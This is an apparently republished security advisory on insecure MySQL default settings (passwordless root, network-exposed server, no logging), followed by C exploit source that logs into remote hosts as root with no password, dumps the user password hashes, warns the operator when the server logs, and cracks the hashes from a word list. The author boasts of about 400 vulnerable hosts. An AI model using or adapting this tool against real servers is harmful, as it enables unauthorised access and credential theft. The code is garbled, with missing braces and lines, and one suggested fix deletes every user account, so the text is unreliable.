‘Weak MySQL Default Configuration’


MySQL is an open-source database produced by MySQL AB. The default configuration for these binaries leave MySQL wide opens to attack in a number of ways that will be illustrated below.’


‘The information has been provided by Mike Bommarito.’


1) NULL root Password
MySQL allows user management via an in-database system table called ‘mysql.user’. This table includes fields on the users’ username, password, and host. However, MySQL by default allows root login, from localhost and any host, without password. Some users are unaware of this.

The problem is exacerbated by the fact that a large portion of MySQL users learns MySQL through the PHP examples on www.php.net that show the user and password argument of mysql_connect as optional. In addition, the MySQL manual page (http://www.mysql.com/doc/en/Adding_users.html) on adding users never mentions removing the default root/NULL users, even though it shows starting the client with user root and no password. A quick method of rectifying this is:
DELETE FROM mysql.user;

2) Non-loopback-bound server
The majority of MySQL’s users run their database server on the same host as their web server. However, in MySQL’s configuration file, the line ‘bind-address=’ is commented out. A server bound to the loopback interface would only be accessible on that host, removing the possibility of remote logins, which most users do not need. However, because this line is commented out, MySQL will be accessible to any remote host. Combined with the default root/NULL login, this means that anyone can remotely login as root, without a password, and have full rights to any database.

To enable binding to the loopback adapter, uncomment the bind-address line in your my.ini.

3) No logging
Logging is a necessary part of any secure server software. However, MySQL does not log at all on by default (Under Windows). This means that a MySQL administrator would not be able to determine if his database had been compromised, or if an individual was attempting to brute force a user/password account. Logging can be enabled by adding these lines to your my.ini:

Exploit code:
In order to demonstrate the simplicity of such an attack, Mike has included a program that connects to a host, logins as root/NULL, steals the hashes, and displays them. The program takes about 5 seconds to execute, and if the host is vulnerable, will show the hashes.

If you have a dictionary word list, put it in the same directory as dictionary.txt and it will try to find a match to one of the words.

/*Written by g0thm0g*/
/*Earlier this summer (at least where I live), I had a conversation with a friend. It was one of those afternoons where you get an idea, and it kinda sticks with you. Anyway, our conversation involved a couple questionsabout INSERT’s into a MySQL database. Eventually, I told him that I would do it for him. I came over, sat down on his computer, and accidentally typed his full IP address in. TO my surprise, the host still connected. Even worse, root login wasn’t passworded. I figured that he had mysql bound to, and that no real remote host could connect. However, later that night after I had gone home, I got a phone call from the friend asking me to do it again. Already on the computer (go figure d:), I pulled up bash and typed in his IP. Right as I was about to ask him what his password was, I noticed that MySQL hadn’t even bothered to authenticate me. I ‘used mysql’ and then SELECT’ed user,password,host FROM user. To my horror, I recieved:
| user | password | host |
| root | | localhost |
| root | | % |
| | | localhost |
| | | % |
Not only was name-less login allowed, but root was without password on localhost and remote. Anyway, to make a long story short, I did some research, and found that default Windows MySQL configuration lacks logging or authentication. I did some network scanning, and I think I have around 400 hosts with no root password. Anyway, to automate checking this, I wrote this program up. It tries to login as root/NULL, then takes the values of the user password hashes and tries to find a match to a dictionary file called dictionary.txt.

If I had some cookies, I’d give them to:
-Tiefer and his relentless questioning and jokes about my sister
-Club 21, especially for Hard Attack
-DJ Doboy, can’t forget trancequility volume 19


-MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
-GCC= gcc -omysqlfuck mysqlfuck.c -lmySQL -O2


#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#include <mysql.h>

/*Crazy MySQL programmers and their short typedefs*/

#ifndef ulong
#define ulong unsigned long

#ifndef uint
#define uint unsigned int

#ifndef uchar
#define uchar unsigned char


/*<<<<This section is ripped straight from the MySQL source.>>>>*/
/*I have this all nice and optimized in assembly on my end, but*/
/*writing cross-compiler inline is not too fun, and requring an*/
/*assembler is kinda frustrating.*/
void hash_password(ulong *result, const char *password)
  register ulong nr=1345345333L, add=7, nr2=0x12345671L;
  ulong tmp;
  for (; *password ; password++)
    if (*password == ‘ ‘ || *password == ‘t’)
      continue; /* skipp space in password */

    tmp= (ulong) (uchar) *password;
    nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
    nr2+=(nr2 << 8) ^ nr;

  result[0]=nr & 2147483647; /* Don’t use sign bit (str2int) */;
  result[1]=nr2 & 2147483647;

void make_scrambled_password(char *to,const char *password)
  ulong hash_res[2];


/*<<<user struct to store data>>>>*/
typedef struct
char *user;
char *password;
} user;

#define MAX_USERS 16

//main – for ‘coherency’s’ (yes, i mean laziness) sake, i’ve kept this a single function
int main (int argc, char** argv)

MYSQL * mysqlData; //–|-
MYSQL_RES * mysqlResult; //–|-MySQL Datatypes
MYSQL_ROW mysqlRow; //–|-

char *spHost; //–|
char *spUser=’root’; //–|
char *spPassword=NULL; //–|-Our connection data
int spPort=3306; //–|
char *spServerVersion; //–|

int usernum=0; //–|
user *users[MAX_USERS]; //–|-User name/hash storage

FILE *fin, *fout; //–|
char *file_name; //–|-File I/O data

char *line=(char *)malloc(64); //–|
char *buff=(char *)malloc(64); //–|-Miscellaneous

int i=0; //–|Counter

//Warn about not meeting minimal arguments
if (2>argc)
fprintf (stderr, ‘usage: mysqlfuck host [-p<port>]’);
return -1;

//Copy the first argument into the host buffer
spHost=(char *)malloc(sizeof(argv[1]));
strcpy (spHost, argv[1]);

//Copy port if the user specified
if (argv[2])
if (argv[2][1]==’p’)
printf (‘port: %in’, spPort);

//Initialize MySQL data and connect with root/NULL

mysqlData = (MYSQL *)malloc(sizeof(MYSQL));

mysql_init (mysqlData);

if (! mysql_real_connect (mysqlData, spHost, spUser, spPassword, ‘mysql’, spPort, NULL, 0) )
fprintf (stderr, ‘mysql_real_connect: %sn’, mysql_error (mysqlData));
return -1;

//If the server logs, inform the user!

printf (‘server version: %sn’, mysql_get_server_info(mysqlData));

if (strstr (mysql_get_server_info (mysqlData), ‘log’))
printf (‘Warning! Server is logging – Continue(*/n)?’);
if (getchar()==’n’)
mysql_close (mysqlData);
return -1;

//’Obtain’ the hashes (notice i didn’t use the word steal)

if ( mysql_query (mysqlData, ‘SELECT user,password FROM user’) )
fprintf (stderr, ‘mysql_query: %sn’, mysql_error (mysqlData));
return -1;

//Store the result and process it

while (mysqlRow=mysql_fetch_row(mysqlResult))
if (strlen(mysqlRow[0])==0)

if (strlen(mysqlRow[1])==0)

users[usernum]=(user *)malloc(sizeof(user));
users[usernum]->user=(char *)malloc(strlen(mysqlRow[0])+1);
strcpy (users[usernum]->user, mysqlRow[0]);
users[usernum]->password=(char *)malloc(strlen(mysqlRow[1])+1);
strcpy (users[usernum]->password, mysqlRow[1]);

mysql_close (mysqlData);

//Setup putput file name string

file_name=(char *)malloc (sizeof(spHost)+4);
strcpy (file_name, spHost);
strcat (file_name, ‘.txt’);
printf (‘n+—————————-+n’);
printf (‘<decrypting and dumping to %s>n’, file_name);
printf (‘+—————————-+n’);

fout=fopen (spHost, ‘w’);

if (!fout)
fprintf (stderr, ‘Unable to open %s for password dumpingn’, spHost);
return -1;

//Use a database to crack the hashes (optional)
fin=fopen (‘dictionary.txt’, ‘r’);
if (!fin)
fprintf (stderr, ‘error opening dictionary.txt – no decryption will take placen’);

for (i=0;i<usernum;i++)
printf (‘%s::%sn’, users[i]->user, users[i]->password);

return -1;

//Loop through the user array and crack/output hashes
for (i=0;i<usernum;i++)
if (users[i]->user)
if (users[i]->password)

while ( (fgets (line, 63, fin)))
make_scrambled_password (buff, line);
if (strcmp (buff, users[i]->password)==0)

fclose (fin);

fprintf (fout, ‘%s::%sn’, users[i]->user, users[i]->password);
printf (‘%s::%sn’, users[i]->user, users[i]->password);
fflush (fout);

//Always clean up after yourself!

fclose (fout);

if (buff)
free (buff);

if (line)
free (line);

if (spHost)
free (spHost);

if (users)
free (users);

if (file_name)
free (file_name);

if (mysqlData)
free (mysqlData);


Categories: News